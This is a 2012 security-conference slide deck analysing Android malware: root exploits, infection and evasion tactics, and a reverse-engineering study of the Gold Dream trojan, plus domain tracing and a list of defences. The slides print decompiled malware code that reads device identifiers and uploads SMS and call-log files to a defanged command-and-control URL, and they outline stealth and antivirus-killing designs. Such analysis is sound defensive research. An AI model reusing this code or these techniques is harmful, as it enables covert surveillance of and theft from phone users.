{Malandroid} – The Crux of Android Infections

ToorCon 14 Security Conference, San Diego, 17 – 21 October 2012

Aditya K Sood (Senior Security Practitioner)
IOActive| Department of Computer Science and Engineering
Michigan State University
Whoami!

- Aditya K Sood
  - Senior Security Practitioner – IOActive
  - PhD Candidate at Michigan State University
    - Worked for Armorize, COSEINC, KPMG and others.
    - Active Speaker at Security conferences
      » DEFCON, RSA, SANS, HackInTheBox, OWASP AppSec, BruCon and others
    - LinkedIn - http://www.linkedin.com/in/adityaks
    - Website: http://www.ioactive.com
    - Twitter: @AdityaKSood
Agenda

- Android Security Overview
- Insidious Infection Tactics – Design Strategies
- Reversing Android Malware – A Case Study
- Chinese Alternate Markets - Connecting Dots
- Existing Android Defenses
- Big Problems in Android
- Conclusion
In This Talk!

We Study the Interesting Tactics in the Android Malware from 2011 – until now!
Android Existing Market

- **The Reality**

<table>
<thead>
<tr>
<th>Version</th>
<th>Codename</th>
<th>API</th>
<th>Distribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.5</td>
<td>Cupcake</td>
<td>3</td>
<td>0.1%</td>
</tr>
<tr>
<td>1.6</td>
<td>Donut</td>
<td>4</td>
<td>0.4%</td>
</tr>
<tr>
<td>2.1</td>
<td>Eclair</td>
<td>7</td>
<td>3.4%</td>
</tr>
<tr>
<td>2.2</td>
<td>Froyo</td>
<td>8</td>
<td>12.9%</td>
</tr>
<tr>
<td>2.3 - 2.3.2</td>
<td>Gingerbread</td>
<td>9</td>
<td>0.3%</td>
</tr>
<tr>
<td>2.3.3 - 2.3.7</td>
<td>Gingerbread</td>
<td>10</td>
<td>55.5%</td>
</tr>
<tr>
<td>3.1</td>
<td>Honeycomb</td>
<td>12</td>
<td>0.4%</td>
</tr>
<tr>
<td>3.2</td>
<td></td>
<td>13</td>
<td>1.5%</td>
</tr>
<tr>
<td>4.0.3 - 4.0.4</td>
<td>Ice Cream Sandwich</td>
<td>15</td>
<td>23.7%</td>
</tr>
<tr>
<td>4.1</td>
<td>Jelly Bean</td>
<td>16</td>
<td>1.8%</td>
</tr>
</tbody>
</table>

“Our data shows that over half of Android devices have unpatched vulnerabilities”

- Duo Security

Refer:
## Android - Vulnerabilities and Exploits

<table>
<thead>
<tr>
<th>Vulnerabilities</th>
<th>Explanations</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zimperlich</td>
<td><strong>RageAgainstTheCage</strong> - Android’s Zygote process failed to check the return value of setuid (2)</td>
</tr>
<tr>
<td>[2.2.0, 2.2.1, 2.2.2]</td>
<td></td>
</tr>
<tr>
<td>ZergRush</td>
<td><strong>Android’s libsysutils allows the code execution to with command arguments to bypass system controls.</strong> [CVE-2011-3874]</td>
</tr>
<tr>
<td>[2.2, 2.3]</td>
<td></td>
</tr>
<tr>
<td>Wunderbar</td>
<td>Privilege escalation in mmap_min_addr (null pointer dereference)</td>
</tr>
<tr>
<td>Mempodroid</td>
<td>Arbitrary memory writing in setuid’s address space by exploiting vulnerability in /proc/pid/mem [CVE-2012-0056]. Adb access <strong>required for exploitation.</strong></td>
</tr>
<tr>
<td>[4.0 (0-3)]</td>
<td></td>
</tr>
<tr>
<td>Levitator</td>
<td>Power VR Kernel module used for 3D graphic allows access to kernel memory</td>
</tr>
<tr>
<td>KillingInTheNameOf</td>
<td>Ashmem - Custom shared memory allocator bug helps in rooting of devices.</td>
</tr>
<tr>
<td>[&lt;= 2.2.2]</td>
<td>[CVE-2011-1149]</td>
</tr>
<tr>
<td>Exploid</td>
<td>Init daemon (udev functionality) failed to check the origin of netlink messages coming from kernel [CVE-2009-1185]. <strong>Hotplug (/proc/sys/kernel/hotplug) path overwrite</strong></td>
</tr>
<tr>
<td>[&lt;= 2.1]</td>
<td></td>
</tr>
<tr>
<td>Gingerbreak</td>
<td>Vold daemon failed to check the origin of netlink messages coming from kernel</td>
</tr>
<tr>
<td>[2.2.3, 2.3.[0–3], 3.0]</td>
<td>[CVE-2011-1823]</td>
</tr>
<tr>
<td>WebKit</td>
<td>Code execution - NaN handling in lack of validation in floating point number</td>
</tr>
<tr>
<td>[&lt; 2.2]</td>
<td>[CVE-2010-1807]</td>
</tr>
</tbody>
</table>
Android – Security Pillars

- Application Sandbox
- Permissions
- Bouncer – Malware Scanning Engine
- Secure Android
- Kill Switch - Remote Application Removal Mechanism
- Kernel Security
Android Platform Realities

- Android Platform Realities
  - Huge improvement in security model but .................
    - Android provenance system
      - Application masquerading (repackaging) is easy
    - Permissions are user centric
      - Explicitly relies on user’s knowledge to make smart decisions about security
      - It’s hard to imagine that every user is security driven or knowledgeable
    - Encryption is offered in platforms beginning with version 3
      - All the android versions < 3 do not have proper encryption model
        » Once exploited, all data is completely open. No security for data at rest.
    - No built-in mechanism to prevent social engineering and web trickeries
    - Existence of alternative android application markets
      - Highly risk driven from security point of view
      - Increases the attack surface with mobility and flexibility
Android Malware – What Matters?

- Android Malware
  - Malware Hosting
    - Legitimate android markets
    - Alternate android markets
  - Delivery Model
    - Websites, Drive-by Downloads, Malicious Attachments
  - The State of Devices
    - Rooted android phones
    - Unrooted android phones
  - Exploitation
    - Root exploits from remote servers
      - Dynamic loading capability of Dalvik Virtual Machine
    - Root privileges
Android Malware – Threats

- Privacy Issues
- Information Leakage
  - SMS/ Contacts/ Phone Identity Information (IMEI/IMSI) and others
- Online Banking Frauds and Thefts
- Targeted Attacks Against Corporate Networks
- Android Botnets
- Pivot Attacks Against GSM Networks
- And Others ……..
Insidious Infections and Design Strategies


### Android Malware – The Classics

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Droid Kung Fu</td>
<td>Plankton</td>
<td>Root Smart</td>
<td>Gold Dream</td>
<td>Hippo SMS</td>
</tr>
<tr>
<td>Nicki Bot</td>
<td>Anserver Bot</td>
<td>Bean Bot</td>
<td>Gold Dream</td>
<td>Gambler SMS</td>
</tr>
<tr>
<td>Rogue SP Push</td>
<td>Push Bot</td>
<td>DFK Boot Kit</td>
<td>FJCon</td>
<td>TG Loader</td>
</tr>
<tr>
<td>Many More …</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Android Malware – Latest in Last Few Months

<table>
<thead>
<tr>
<th>Malware Type</th>
<th>Variant</th>
</tr>
</thead>
<tbody>
<tr>
<td>FakeLookout.A</td>
<td>Plankton Variants</td>
</tr>
<tr>
<td>FinFisher</td>
<td>Fin Spy</td>
</tr>
<tr>
<td>SMS Zombie</td>
<td></td>
</tr>
<tr>
<td>Android_Fakeinst.A</td>
<td>Fake Lash</td>
</tr>
<tr>
<td>Loozfon</td>
<td>LuckyCat.A</td>
</tr>
<tr>
<td>Android VdLoader</td>
<td></td>
</tr>
<tr>
<td>Drop Dialer</td>
<td>MMMarket Pay</td>
</tr>
<tr>
<td>FindAndCall</td>
<td>Android KunFu Variants</td>
</tr>
<tr>
<td>Android C14 SMS bot</td>
<td></td>
</tr>
<tr>
<td>Many More</td>
<td></td>
</tr>
</tbody>
</table>
Application Masquerading

- Technique of hiding malicious application inside legitimate application
  - Malicious payloads are compressed and embedded in other file formats
    - Also termed as Repackaging
  - Runtime unwrapping of malicious code
  - Effective in hiding the real nature of application
  - Invasive approach to bypass the security mechanisms
Stealthy Assets

- Designing Stealthy Assets
  - Assets
    - These are the extra set of resources that are packaged inside android applications
      - Package path - `<application bundle name>.apk/assets/`
    - Files stored in assets can be discovered dynamically using `AssetManager.list()`
    - `/assets` should not be confused with custom `/res/raw` [both are different]
      - `/assets` support tree hierarchy whereas `/res/raw` does not
      - `/assets` do not require identifier for reference whereas `/res/raw` does.
  - Characteristics
    - Used heavily for hiding payloads and malicious code
    - Example:- Designing malicious PNG files
      - PNG files are used to hide payloads and used for compression
      - Deployed by very first: Foncy/Madden FL Android Malware
    - Malicious code is also embedded with a routine for extracting code in assets during runtime
      - Routine - Java byte code that interacts with asset manager
Bootstrapping Payloads and Services

- **Bootstrapping**
  - Detecting the completion of Android boot process
    - Registering a system wide event
      - `android.intent.action.BOOT_COMPLETED`
  - Starting hidden service
    - Registering a malicious service in the backend
    - Service monitors the state of Android phone
    - Downloads other malicious packages when the phone is not active
      - When user is not interacting with the phone
  - Service capabilities
    - Monitors the state of various antivirus processes and kills them accordingly
    - And many more ............
  - Related Android Malware Examples – **Gap II and Update Killer**
Android Bootkits – An Overview

- **Bootkits**
  - Getting root privileges
    - Hiding in legitimate applications that require root privileges
      - Application masquerading / Piggy backing
  - Registering agent controller service
    - Activates Boot Sequence Manipulation (BSM) agent
    - BSM agent validates whether it has root privileges
    - If yes, mounts the system partition (w+). If not, deletes itself
    - BSM agent copies itself to /system/lib and alters several system programs, booting scripts and daemons.
  - Hijacking android framework initialization capabilities
    - To execute custom packages before legitimate ones
    - Example: Chinese Malware (DKF Bootkit)
Custom Firmware Images

- Android Custom Firmware Images
  - Enhanced stock ROMs (legitimate for more functionality)
  - Distributed in the underground or third-party forums
  - Modification allows:
    - To gain certain privileges that are available to system only
    - Altering the state of adb by modifying the ram disk
      - Configuring `build.prop` to tweak `ro.secure` parameter
      - Also possible through setting `setprop` shell command
    - Manipulate the custom recovery options as per the requirement
      - Custom recovery modes are driven with null security
  - Compiling custom Android using Android Open Source Project (AOSP)
    - Generate a key at AOSP to sign custom images
    - Makes custom images look more authentic
Defending The Code

- Android Custom Firmware Images
  - Obfuscation/Encryption
    - Code
      - Encrypting all the method names in the classes.
      - Makes the invocation process more stealthier
    - Network
      - Encrypting the communication using asymmetric encryption
      - Public keys are fetched dynamically
  - Anti Repackaging Check
    - Verify the signature of the remote payload (application) before execution
      - To scrutinize the payload has not been tampered
  - Antivirus Detection
    - Attempts to bypass and shutdown the configured security applications
  - Example
    - Most of the advanced Android bots use one of these capabilities.
Time-based Code Execution

- **Delayed Execution**
  - Inherent feature to make the malicious activity dormant for a certain period of time
  - Upon installation, malicious application remains silent.
  - Malicious behavior is designed using:
    - Time scheduler
    - System uptime
    - System time settings and time zones
    - Connecting back to C&C server at a specific point of time
  - A good step in bypassing behavioral based detection
Exploiting Administration API’s

- **Administration API’s**
  - **Device Administration API** – supported since android 2.2 version
    - **Good**: attractive feature to enabled developers to build enterprise applications that require features at system level.
    - **Bad**: Completely relies on user permission. If granted, policies are enforced.
    - **Worst**: Malicious applications are presented as Device Administration applications. If allowed, works with similar set of permissions as system.
      - Allows attackers to specify policies as hard coded or remotely.
  - **Risks**
    - Malicious application leverages the benefit of system privileges.
    - Malicious application can
      - Wipe all the data from phone and restore the state to factory defaults
      - Force users to follow the rogue policies
      - Disabling certain features on the device.
Mobile Malvertising

- Mobile Malvertising
  - Started with the concept of mobile advertising
    - Initial samples of android malware used this trick for advertising various custom games and other business operations
  - Transforming mobile advertising into mobile malvertising
    - Using advertising to download malicious payloads onto user mobiles
    - Design/development of malvertised applications
      - Creating a SWF file using Flash or Flex.
        » Create an image that is a part of resource file
      - Create an XML file containing a description of the malvertised application.
      - Run the packager. For android, install SDK and sign the malvertised application.
      - Host it on the third party android market and start distributing it.
      - Once the phone installs it infection begins shortly.
Hacktivism – Political Legacy

- Hacktivism
  - Android malware has shown some facets of Hacktivism
    - Sending messages containing political point or appeal
    - Raising awareness about political mayhem in the respective country
      - Well!, the user is going to pay for the messages!
        » Malware does not contain any complex code

- Spreading Hacktivism
  - Sending messages about leaders, political chaos and support to other users listed in contacts
  - Morphing or replacing pictures present on user’s device
  - Examples: (The very first Android samples)
    - Android Arspam Alsalah → promoting leader of Tunisian revolution
    - Android Moghwa → promoting leader of Iranian revolution 1979
Mobile Droppers / Bots in Action

- Mobile Droppers
  - Masqueraded applications that look legitimate and uses market brands such as games etc to hide their potential functionality
  - Droppers download or extracts other malicious applications in the user mobile in a stealthy manner
Mobile Droppers / Bots in Action

Mobile Droppers

— Peripheral Look

● Extracting strings

Mounting devices

Clearing logs (logcat -c)

IRC communication capability

Rooted device notification

Bot driven APK file embedded in PNG file
Mobile Droppers / Bots in Action

- Mobile Droppers (Techniques)
  - Disassembly ARM instructions
  - Malicious PNG file dissection

- IRC Login call in action. STMFD (Full Descending) call keep on updating the stack pointer as it grows

- IRC Connect call in action.

- ARM/ Thumb code in PNG files
Mobile Droppers / Bots in Action

- **Mobile Dropper + Bot (Badging)**

C:\android_audit\aapt.exe dump badging c:\android_malware\foncy\56033daef6a020d8e64729acb103f818
package: name='com.android.bot' versionCode='1' versionName='1.0'
sdkVersion: '8'
uses-permission: 'android.permission.READ_LOGS'
uses-permission: 'android.permission.READ_PHONE_STATE'
uses-permission: 'android.permission.WRITE_EXTERNAL_STORAGE'
uses-permission: 'android.permission INTERNET'
uses-permission: 'android.permission.VIBRATE'
uses-permission: 'android.permission.WAKE_LOCK'
uses-permission: 'android.permission.ACCESS_WIFI_STATE'
uses-permission: 'android.permission.CHANGE_WIFI_STATE'
uses-permission: 'android.permission.ACCESS_NETWORK_STATE'
uses-permission: 'android.permission.MODIFY_AUDIO_SETTINGS'
uses-permission: 'com.android.vending.CHECK_LICENSE'
application-label: 'MADDEN NFL 12'
application-icon-120: res/drawable-ldpi/ic_launcher.png
application-icon-160: res/drawable-mdpi/ic_launcher.png
application-icon-240: res/drawable-hdpi/ic_launcher.png
application-label: 'MADDEN NFL 12' icon='res/drawable-mdpi/ic_launcher.png'
launchable-activity: name='com.android.bot.AndroidBotActivity' label='MADDEN NFL 12' icon='' uses-feature: 'android.hardware.wifi'
uses-feature: 'android.hardware.touchscreen'
supports-screens: 'small' 'normal' 'large'
supports-any-density: 'true'
locales: --
densities: '120' '160' '240'

C:\android_audit\aapt.exe dump badging c:\android_malware\foncy\sample11\assets\border01.zip
package: name='com.android.me' versionCode='1' versionName='1.0'
sdkVersion: '8'
uses-permission: 'android.permission.RECEIVE_SMS'
uses-permission: 'android.permission.SEND_SMS'
uses-permission: 'android.permission.INTERNET'
application-label: 'MADDEN NFL 12'
application-icon-120: res/drawable-ldpi/ic_launcher.png
application-icon-160: res/drawable-mdpi/ic_launcher.png
application-icon-240: res/drawable-hdpi/ic_launcher.png
application-label: 'MADDEN NFL 12' icon='res/drawable-mdpi/ic_launcher.png'
main
other-receivers
supports-screens: 'small' 'normal' 'large'
supports-any-density: 'true'
locales: --
densities: '120' '160' '240'
Reversing Android Malware
[Classics]

Android Gold Dream
Android Gold Dream

Blood vs Zombie
version 1.0.1

- Force stop
- Uninstall

**STORAGE**

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>7.68MB</td>
</tr>
<tr>
<td>App</td>
<td>7.60MB</td>
</tr>
<tr>
<td>USB storage app</td>
<td>0.00B</td>
</tr>
<tr>
<td>Data</td>
<td>88.00KB</td>
</tr>
<tr>
<td>SD card</td>
<td>0.00B</td>
</tr>
</tbody>
</table>

- Clear data
- Move to SD card

**PERMISSIONS**

This app can access the following on your phone:

- **Your location**
  coarse (network-based) location, fine (GPS) location

- **Your messages**
  read SMS or MMS, receive SMS

- **Network communication**
  full Internet access

- **Storage**
  modify/delete SD card contents

- **Services that cost you money**
  directly call phone numbers, send SMS messages

- **Phone calls**
Android Gold Dream

- **Android Gold Dream** (com.gamelio.DrawSlasher)
  - Upload files in a stealthy manner
    ```java
    ((HttpURLConnection)localObject3).setRequestMethod("POST");
    ((HttpURLConnection)localObject3).setRequestProperty("Connection", "Keep-Alive");
    ((HttpURLConnection)localObject3).setRequestProperty("Charset", "UTF-8");
    ((HttpURLConnection)localObject3).setRequestProperty("Content-Type", "multipart/form-data;boundary=");
    localObject1 = new DataOutputStream(((HttpURLConnection)localObject3).getOutputStream());
    (DataOutputStream)localObject1.writeObject("--" + "******" + "\r\n");
    (DataOutputStream)localObject1.writeBytes("Content-Disposition: form-data; name=\"file\"; filename="");
    (DataOutputStream)localObject1.writeBytes("\r\n");
    FileInputStream localFileInputStream = new FileInputStream(paramString2);
    ```
  - Files extracted
  - Device information
    ```java
    private void IsClearLocalWatchFiles()
    {
        CheckAndClearFile("/data/data/com.gamelio.DrawSlasher/files/zjsms.txt");
        CheckAndClearFile("/data/data/com.gamelio.DrawSlasher/files/zjphonecall.txt");
    }
    ```
  - Calling capability
    ```java
    public void GetDeviceInfo()
    {
        Dev_MIEI = ((TelephonyManager) getSystemService("phone")).getDeviceId();
        Dev_SimSN = ((TelephonyManager) getSystemService("phone")).getSubscriberId();
        Dev_IMSI = ((TelephonyManager) getSystemService("phone")).getSimSerialNumber();
    }
    ```
    ```java
    public void CallPhoneNumber(String paramString)
    {
        Intent localIntent = new Intent("android.intent.action.CALL");
        localIntent.setData(Uri.parse("tel:" + paramString));
        localIntent.setFlags(268435456);
        startActivity(localIntent);
    }
    ```
Android Gold Dream

- Android Gold Dream (com.gamelio.DrawSlasher)
  - URL fracturing → Interesting code
    
    ```java
    ((UploadFiles)localObject).uploadFile("http://" + getKeyNode("dom", "dom_v") + "/zj/upload/UploadFiles.aspx?askId=1&uid=" + getKeyNode("uid", "uid_v"), 
    
    
    
    
    /data/data/com.gamelio.DrawSlasher/files/zjsms.txt");
    
    
    
    
    /data/data/com.gamelio.DrawSlasher/files/zjphonecall.txt");
    
    - So what are these dom, dom_v, uid, uid_v
    
    private static final String KEY_ZJ_DOMAIN = "dom_v";
    private static final String KEY_ZJ_ISREST = "rt_v";
    private static final String KEY_ZJ_LASTUPDATEDDATETIME = "lud_v";
    private static final String KEY_ZJ_LASTWORKTASK_DATETIME = "ltd_v";
    private static final String KEY_ZJ_MAXSIZE = "ms_v";
    private static final String KEY_ZJ_RESTTIME = "rtt_v";
    private static final String KEY_ZJ_TASKPERHOURS = "tph_v";
    private static final String KEY_ZJ_TASKTYPE = "tti_v";
    private static final String KEY_ZJ_UID = "uid_v";
    private static final String KEY_ZJ_UPLOADWATCHFILES = "uwf_v";
    private static final String KEY_ZJ_WATCHCALL = "wc_v";
    private static final String KEY_ZJ_WATCHSMS = "ws_v";
    private static final String OBJ_ZJ_DOMAIN = "dom";
    private static final String OBJ_ZJ_ISREST = "rt";
    private static final String OBJ_ZJ_LASTUPDATEDDATETIME = "lud";
    private static final String OBJ_ZJ_LASTWORKTASK_DATETIME = "ltd";
    private static final String OBJ_ZJ_MAXSIZE = "ms";
    private static final String OBJ_ZJ_RESTTIME = "rtt";
    private static final String OBJ_ZJ_TASKPERHOURS = "tph";
    private static final String OBJ_ZJ_TASKTYPE = "tti";
    private static final String OBJ_ZJ_UID = "uid";
    private static final String OBJ_ZJ_UPLOADWATCHFILES = "uwf";
    private static final String OBJ_ZJ_WATCHCALL = "wc";
    private static final String OBJ_ZJ_WATCHSMS = "ws";
    private static final String PRODUCT_PID = "9968";
    ```

    - Target → To get the full URL to find where the data is being uploaded
Android Gold Dream

- Android Gold Dream (com.gamelio.DrawSlasher)
  - The variables used in URL through getKeyNode are defined as local objects
    - Local objects, why not to go for shared objects or shared preferences
    - Data is pulled from /data/data/com.gamelio/DrawSlasher/sharedprefs
      - All the local objects are stored as respective xml files
Android Gold Dream

- Android Gold Dream (com.gamelio.DrawSlasher)
  - The extracted URL’s are
    - hxxp://lebar.gicp.net/zj/upload/UpdateParam.aspx?uid=0&taskTypeId=1&type=0
    - hxxp://lebar.gicp.net/zj/upload/UploadFiles.aspx?askId=1&uid=
    - hxxp://lebar.gicp.net
  - Domain information

<table>
<thead>
<tr>
<th>Domain Name: GICP.NET</th>
</tr>
</thead>
<tbody>
<tr>
<td>Registrar: SHANGHAI BEST ORAY INFORMATION S&amp;T CO. LTD.</td>
</tr>
<tr>
<td>Whois Server: whois.oray.com</td>
</tr>
<tr>
<td>Referral URL: <a href="http://www.oray.com">http://www.oray.com</a></td>
</tr>
<tr>
<td>Name Server: NS3.DNSORAY.NET</td>
</tr>
<tr>
<td>Name Server: NS4.DNSORAY.NET</td>
</tr>
<tr>
<td>Status: clientTransferProhibited</td>
</tr>
<tr>
<td>Updated Date: 05-jan-2012</td>
</tr>
<tr>
<td>Creation Date: 15-aug-2001</td>
</tr>
<tr>
<td>Expiration Date: 15-aug-2019</td>
</tr>
</tbody>
</table>

person: sun ying
address: fu xing men nei da jie 97, Xicheng District
address: Beijing 100800
country: CN
phone: +86-10-66030657
fax-no: +86-10-66078815
e-mail: hostmast@publicf.bta.net.cn
nic-hdl: SY21-AP
mnt-by: MAINT-CNCGROUP-BJ
changed: suny@publicf.bta.net.cn 19980824
changed: hostmast@publicf.bta.net.cn 20090630
source: APNIC

inetnum: 111.192.0.0 - 111.207.255.255
netname: UNICOM-BJ
descr: China Unicom Beijing province netwo;
Android Gold Dream (com.gamelio.DrawSlasher)

- *.gicp.net somewhat belongs to
Connecting Dots
Android Malware Case Studies

The World of Chinese Malware - Facts
Android Base Bridge

Android Base Bridge served heavily on different markets.
Android Lotoor / RageAgainstTheCage

Alternate markets in China
BrandJacking/{Typo | Cyber}squatting

- Chinese android market is exploiting the integrity and brand values of primary business domains.

- Example: Android Doctor Domain
  - `hxxp://www.androiddoctor.com`
    - IP Address - 184.73.194.128 (USA)
  - `hxxp://www.androidoctor.com`
    - IP Address - 96.44.158.2 (China)

---

**Domain Name:** ANDROIDDOCTOR.COM  
**Registrar:** HANG ZHOU E-BUSINESS SERVICES CO  
**Whois Server:** whois.eb.com.cn  
**Referral URL:** http://www.eb.com.cn  
**Name Server:** NS1.22.CN  
**Name Server:** NS2.22.CN  
**Status:** ok  
**Updated Date:** 31-oct-2011  
**Creation Date:** 29-jun-2011

---

**Domain Name:** ANDROIDDOCTOR.COM  
**Registrar:** GODADDY.COM, LLC  
**Whois Server:** whois.godaddy.com  
**Referral URL:** http://registrar.godaddy.com  
**Name Server:** NS33.DOMAINCONTROL.COM  
**Name Server:** NS34.DOMAINCONTROL.COM  
**Status:** clientDeleteProhibited  
**Status:** clientRenewProhibited  
**Status:** clientTransferProhibited  
**Status:** clientUpdateProhibited  
**Updated Date:** 29-jul-2011  
**Creation Date:** 17-jun-2010
BrandJacking/{Typo | Cyber}squatting

Both domains were take off recently.

Now http://www.android-doctor.com works
Anserver Bot

- Anserver Bot
  - The detailed analysis has already presented here:
    - Refer → http://www.csc.ncsu.edu/faculty/jiang/pubs/AnserverBot_Analysis.pdf

- How we want to take a look at it?
  - The domain hxxp://sina.com.cn
    - We are trying to connect the dots to map interesting set of information
Connecting Dots .........

- Mapping Domains and History

  - `hxpx://www.sina.com.cn` is a high traffic oriented website in China
    - Highly ranked | Lots of traffic from China (202.108.33.60)
  
  **Statistics Summary for `sina.com.cn`**
  Sina.com.cn has a three-month global Alexa traffic rank of 17. We estimate that 93% of visitors to the site come from China, where it has attained a traffic rank of 4. Compared with the overall...

  - `hxpx://blog.sina.com.cn` | `blogx.sina.com.cn` is a subdomain or blog hosted at it.
    - Used for malicious activities (202.108.115.254)
Connecting Dots ..........

- Mapping Domains and History
  - hxxp://www.sina.com (Network)
  - Website: hxxp://www.sina.com.cn
Connecting Dots ……….

- Mapping Domains and History
  - In 2009, there were some incidents of malware happened as described
    - A registrant has an identification of sina.com.cn to register fuckunion.com

<table>
<thead>
<tr>
<th>Date (UTC)</th>
<th>Domain</th>
<th>IP</th>
<th>Reverse Lookup</th>
<th>Description</th>
<th>Registrant</th>
<th>ASN</th>
</tr>
</thead>
<tbody>
<tr>
<td>2009/05/23 00:00</td>
<td>yaoip.fuckunion.com/386/update.txt</td>
<td>216.245.193.72</td>
<td>72-193-245-216.reverse.lsn.net; Malware calls home</td>
<td><a href="mailto:wangyunhe@vip.sina.com.cn">wangyunhe@vip.sina.com.cn</a> 46475</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2009/05/23 00:00</td>
<td>ddos.fuckunion.com/206/update.txt</td>
<td>216.245.193.72</td>
<td>72-193-245-216.reverse.lsn.net; Malware calls home</td>
<td><a href="mailto:wangyunhe@vip.sina.com.cn">wangyunhe@vip.sina.com.cn</a> 46475</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2009/05/23 00:00</td>
<td>count.fuckunion.com/cnzz/update.txt</td>
<td>216.245.193.72</td>
<td>72-193-245-216.reverse.lsn.net; Malware calls home</td>
<td><a href="mailto:wangyunhe@vip.sina.com.cn">wangyunhe@vip.sina.com.cn</a> 46475</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Culprit domain: *.fuckunion.com
  - FUCKUNION.COM → critical and interesting

Sub domains still serve malware

Connecting Dots ……….

- Mapping Domains and History
  - hxxp://www.fuckunion.com

The website is off recently.
Connecting Dots ...........

- Mapping Domains and History
  - hxxp://www.net.cn
Defending Against Android Malware

What We have Right Now?
Android Malware – Defense

- Malicious Apps Detection Tools by Different AntiVirus Vendors
  - Privacy Leak Detection Frameworks
    - TaintDroid and PioS
  - Over Privilege and Permission Checker
    - Stowaway
  - Fine Grained Control Of System Resources
    - Extensions – MockDroid, TISSA, Apex and AppFence
  - Secure Policy Enforcement to Remove Exposed Interfaces
    - Saint
  - Static Analysis Tools
    - Comdroid and Woodpecker
  - Android Vulnerability Checker
    - X Rays
  - Android Google Play – Application Checker
    - Bouncer
  - SEAndroid is in building stage
There Are Much More to the Android Malware...
So Some Of The Big Problems Are …

- No Code Signing
  - Self signatures can be circumvented to repackage the applications

- Native Code Execution
  - No restriction on the privileges for setting execution bit (Root/Apps)

- Permission Sandbox (All or None Policy)
  - Actions without Permissions
    » RECEIVE_BOOT_COMPLETED | START_ON_INSTALL

- Existence of Alternate Market Places

- Google Play (Android Market) Communication Channel Issues

- No Robust Android Malware Detection at Network Level

- Delayed Patch Process (Developers and Vendors)

- Do Kill Switch (REMOVE_ASSET) or Bouncer Works Against Modern Malware?
And the Real World Question Is …

Do Users Really Care About Android Malware?
Conclusion

- Users awareness is required!
- More strong defenses are the need of the Time!
- Malware flavors are going to change in the Android world!
- Malware will increase!
Further Reading – Interesting Work

- **Android**
  - *Don’t Root Robots* ➔ [http://safecomputing.umich.edu/events/sumit11/docs/dontrootrobots.pdf](http://safecomputing.umich.edu/events/sumit11/docs/dontrootrobots.pdf)
Questions?

Thanks
ToorCon Team
Contact: aditya.sood [at] ioactive.com